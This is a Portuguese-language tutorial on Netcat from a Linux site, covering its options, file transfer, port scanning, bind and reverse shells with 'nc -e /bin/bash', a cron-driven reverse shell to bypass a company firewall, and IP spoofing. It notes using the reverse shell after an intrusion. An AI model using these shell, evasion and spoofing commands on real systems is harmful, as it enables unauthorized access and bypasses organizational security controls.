Você está na página 1de 6

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

Tutorial Netcat
Autor: thorking <thorking171 at hotmail.com> Data: 10/04/2007 Introduo ao Netcat Netcat uma ferramenta usada para ler e escrever dados em conexes de rede usando o protocolo TCP/IP. Dada sua grande versatilidade, o Netcat considerado pelos hackers o canivete suo do TCP/IP, podendo ser usado para fazer desde portscans at brute force attacks. O nome netcat vem do comando "cat" do Linux/Unix. O cat concatena arquivos e envia para a sada padro (stdout). O netcat faz praticamente o mesmo, porm ao invs de concatenar arquivos, o netcat concatena sockets TCP e UDP.

Opes do Netcat
-e comando - Executa o comando especificado usando como entrada (stdin) os dados recebidos pela rede e enviando os dados de sada (stdout e stderr) para a rede. Essa opo somente estar presente se o nc for compilado com a opo GAPING_SECURITY_HOLE, j que permite que usurios disponibilizem programas para qualquer um conectado a rede; -i - Especifica o intervalo de tempo no qual as linhas de texto sero enviadas ou recebidas; -l - Coloca no netcat em estado de escuta (listening); -L - Coloca no netcat em estado de escuta (listening), reiniciando o netcat com a mesma linha de comando caso a conexo feche; -n - Fora o netcat a usar apenas endereos de IP numricos, sem fazer consultas a servidores DNS; -o filename - Usando para obter um log dos dados de entrada ou sada, em formato hexadecimal; -p - Especifica a porta a ser usada, sujeito a disponibilidade e a restries de privilgio; -r - Faz as portas do portscan serem escolhidas aleatoriamente; -s - Especifica o endereo IP da interface usada para enviar os pacotes. Pode ser usado para spoofing de IPs, bastando apenas configurar uma interface do tipo eth0:0 (usando o ifconfig) com o IP desejado; -t - Permite usar o nc para criar sesses de telnet por script. Precisa estar compilado com a opo -DTELNET; -u - Usar UDP ao invs de TCP; -v - Controla o nvel de mensagens mostradas na tela; -w - Limita o tempo mximo para que uma conexo seja estabelecida; -z - Para evitar o envio de dados atravs de uma conexo TCP, e limitar os dados de uma conexo UDP.

1 de 6

22/4/2013 18:01

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

Algumas funes do Netcat

Preparando as interfaces de Rede


Para testar o netcat usaremos dois aliases na interface loopback (lo) do Linux. O endereo IP default da interface lo no Linux 127.0.0.1. Se mexermos com o endereo 127.0.0.1 podemos quebrar as nossas conexes de rede. Ao invs disso usaremos os aliases lo:1 e lo:2 para executarmos os testes. Para atribuir endereos IP essas interfaces, os seguintes comandos devem ser executados (como usurio root) no console do Linux: # ifconfig lo:1 10.0.1.1 # ifconfig lo:2 10.0.1.2O O comando ifconfig tambm permite verificar se o comando foi bem sucedido: $ ifconfig lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:10 errors:0 dropped:0 overruns:0 frame:0 TX packets:10 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:700 (700.0 b) TX bytes:700 (700.0 b) lo:1 Link encap:Local Loopback inet addr:10.0.1.1 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:6935 (6.7 Kb) lo:2 Link encap:Local Loopbackinet addr:10.0.1.2 Mask:255.0.0.0 UP LOOPBACK RUNNING MTU:16436 Metric:1 RX packets:20848 errors:911 dropped:0 overruns:0 frame:926 TX packets:63 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:1398645 (1.3 Mb) TX bytes:7281 (7.1 Kb) As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem dois computadores na mesma rede, com IPs diferentes. O seguinte comando permite usar o netcat para "escutar" o trfego da rede: # nc -vv -l -p8080 Listening on any address 8080 (webcache) Para redirecionar a sada para um arquivo, usa-se o seguinte formato:

2 de 6

22/4/2013 18:01

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

# nc -l -p8080 > filename.txt Para conectar um cliente netcat, usa-se o seguinte comando: # nc 10.0.1.1 8080 Assim tudo o que for digitado no cliente ser repetido no servidor (na primeira console). Use CTRL-C para terminar a conexo. O servidor dever mostrar um breve resumo da conexo: Total received bytes: 5 Total sent bytes: 0

Transferindo arquivos com NetCat Transferir arquivos de um host para outro usando o netcat bastante simples. Basta configurar o lado server (que vai receber o arquivo) para "escutar" uma porta especfica e redirecionar todos os dados recebidos para um arquivo. Colocando-se um timeout, o servidor ir perceber quando no existem mais dados chegando e ir fechar a conexo. No lado cliente da conexo, simplesmente conecta-se porta do servidor e passa-se o arquivo a ser transferido como entrada. Servidor: $ nc -vvn -l -p 3000 -w 30 > file Listening on any address 3000 Cliente: $ nc -vvn -w 2 10.0.0.1 3000 < file1 10.0.0.1 3000 open O servidor ir mostrar a seguinte mensagem quando uma conexo for estabelecida: Connection from 10.0.0.1:1028 Novamente, a conexo deve ser terminada usando-se o CTRL-C. O servidor ir mostrar: Exiting. Total received bytes: 6 Total sent bytes: 0 Enquanto que o cliente mostrar: Total received bytes: 0 Total sent bytes: 6

3 de 6

22/4/2013 18:01

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

Telnet com Netcat Agora que j sabemos como fazer uma transferncia de arquivos, podemos tentar algo mais til. Por exemplo, podemos nos conectar em uma mquina remota e executar alguns comandos sem passar por mecanismos de controle de acesso. Para isso podemos usar o netcat com a opo -e. Um simples exemplo: Na console do servidor entre: $ nc -l -p 5000 -e /bin/bash No cliente: $ nc 10.0.1.1 5000 Agora estamos conectados no servidor e com acesso ao shell. No vemos o prompt, mas podemos ver a sada de cada comando enviado para o servidor: ls anaconda-ks.cfg file file1 install.log install.log.syslog

Portscanning com NetCat possvel usar o netcat para fazer portscans. Para isso deve-se usar a flag -z (zero I/O mode), que apenas conecta e desconecta de uma determinada porta. Para executar um scan um portas UDP, deve-se usar a opo -u. TCP: nc -vvn -z xxx.xxx.xxx.xxx start-end UDP: nc -u -vvn -z xxx.xxx.xxx.xxx start-end No exemplo abaixo tentamos fazer um scan das portas 21 at 26. Como pode-se ver, portas fechadas resultam em um"Connection refused" e portas abertas mostram "open". O scan UDP basicamente o mesmo. $ nc -vvn -z 10.0.0.1 21-26 10.0.0.1 21 (ftp): Connection refused 10.0.0.1 22 (ssh) open 10.0.0.1 23 (telnet): Connection refused 10.0.0.1 24: Connection refused 10.0.0.1 25 (smtp): Connection refused 10.0.0.1 26: Connection refused

4 de 6

22/4/2013 18:01

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

Total received bytes: 0 Total sent bytes: 0

Telnet reverso com NetCat Muitas empresas possuem algum tipo de link dedicado para acesso a internet. Tambm possuem algum tipo de firewall que bloqueia o acesso a rede interna, que muitas vezes no tem um IP vlido que podemos acessar. Para logar remotamente em um computador dessa rede, talvez para copiar algum arquivo importante para finalizar um trabalho que esteja fazendo de sua casa, um cliente telnet ou ftp no poderia ser usado. Por exemplo, temos um servidor que aceita apenas conexes externas na porta 80, mas no tem um IP externo vlido. O computador de casa provavelmente possui um IP real vlido e portas que podem ser abertas ou fechadas conforme a necessidade. Invertendo as direes das conexes pode-se resolver esse problema: basta fazer o computador do escritrio conectar no computador de casa, recebendo comandos do cliente a executando-os no servidor. Essa tcnica conhecida como Telnet Reverso. Vamos chamar o computador do escritrio de WORK e o computador de casa HOME. Se o computador HOME for configurado para usar IP dinmico, precisaremos de um nome para DNS dinmico, tipo o servio fornecido pela dyndns.org. No computador WORK configuramos um job cron para iniciar s 19:00. Como no exemplo anterior do telnet, ele conecta ao home.dyndns.org e inicia uma sesso bash. Para isso, em casa deve-se iniciar (antes das 19:00) o netcat das seguinte forma: # nc -vv -l -p 80 s 10:00, WORK conecta ao HOME, inicia o bash e est pronto para executar qualquer comando que queremos. Testando o telnet reverso na nossa rede virtual: Para colocar o cliente (HOME) em modo de espera, escutando uma conexo: # nc -vv -l -p 80 Listening on any address 80 Para conectar a partir do servidor (WORK): # nc 10.0.1.1 80 -e /bin/bash Essa tcnica bem simples e eficiente, pois usa somente a porta 80, que dificilmente estar bloqueada no firewall. A partir do computador HOME voc pode enviar comandos para o WORK e receber o resultado localmente. Alm disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois de uma invaso. Voc pode, inclusive, usar o netcat para enviar um exploit para o destino. Quando a conexo HTTPS, voc pode usar o tunnel para tunelar o nc, ou apenas o prprio stunnel. Para mais detalhes veja a man page do stunnel:

5 de 6

22/4/2013 18:01

Tutorial Netcat [Artigo]

http://www.vivaolinux.com.br/artigos/impressora.php?codigo=6298

$ man stunnel A sintaxe do comando dever ser algo parecido com a seguinte linha: $ (echo "HEAD / HTTP/1.0"; echo; ) | /usr/sbin/stunnel configuration-file host:port

IP Spoofing
Usando o netcat voc pode fazer inclusive spoofing de endereos IP. Se voc estiver escutando o trfego em um segmento, voc pode enviar esse trfego para outro host usando o protocolo UDP. O comando dever ser tipo: $ tcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip <port> Isso tambm requer que voc configure o endereo IP spoofed para um alias na sua interface de rede: $ ifconfig eth0:N spoofed_ip Onde N o alias a ser configurado. Isso ir causar problemas com o host que est sendo spoofed, j que o mesmo endereo IP propagado por dois hosts na mesma rede. Para executar um spoofing sem causar tantos problemas, use a ferramenta hping.

Agradecimentos finais
Gostaria de agradecer ao Google, que uma grande fonte de conhecimento, aos meus amigos Seth, Mobster, JP, Chemonz, que sempre me ajudaram quando tinha alguma dvida, tendo uma pacincia de J e o mais importante Deus. Fonte de consulta: http://www.linuxtemple.com/index.php?option=content&task=view&id=559

http://www.vivaolinux.com.br/artigo/Tutorial-Netcat Voltar para o site

6 de 6

22/4/2013 18:01